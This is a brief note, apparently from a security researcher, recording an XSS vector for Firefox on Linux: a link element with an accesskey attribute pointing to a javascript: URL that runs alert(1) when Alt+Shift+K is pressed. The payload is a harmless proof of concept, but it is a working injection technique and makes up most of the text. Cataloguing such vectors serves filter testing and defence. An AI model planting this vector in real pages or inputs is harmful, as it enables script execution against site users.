Another XSS vector.

Browser: Firefox
Trigger: Alt+Shift+k (linux)

<link href=javascript:alert(1) accesskey=k>